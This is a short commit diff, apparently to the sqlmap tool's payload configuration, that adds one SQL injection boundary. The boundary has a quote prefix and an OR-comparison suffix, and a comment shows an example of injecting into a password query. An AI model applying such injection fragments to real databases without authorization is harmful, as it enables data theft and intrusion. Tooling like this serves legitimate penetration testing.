One more payload (requires usage of --code or similar)

This commit is contained in:
Miroslav Stampar
2018-08-09 16:21:35 +02:00
parent 75a64245c5
commit ad11749b15
3 changed files with 12 additions and 2 deletions

View File

@@ -310,6 +310,16 @@ Formats:
<prefix></prefix>
<suffix># [RANDSTR]</suffix>
</boundary>
<!-- e.g. admin' AND [INFERENCE] OR 'foo'='bar' AND password=$password -->
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix> OR '[RANDSTR1]'='[RANDSTR2]</suffix>
</boundary>
<!-- End of WHERE/HAVING clause boundaries -->
<!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->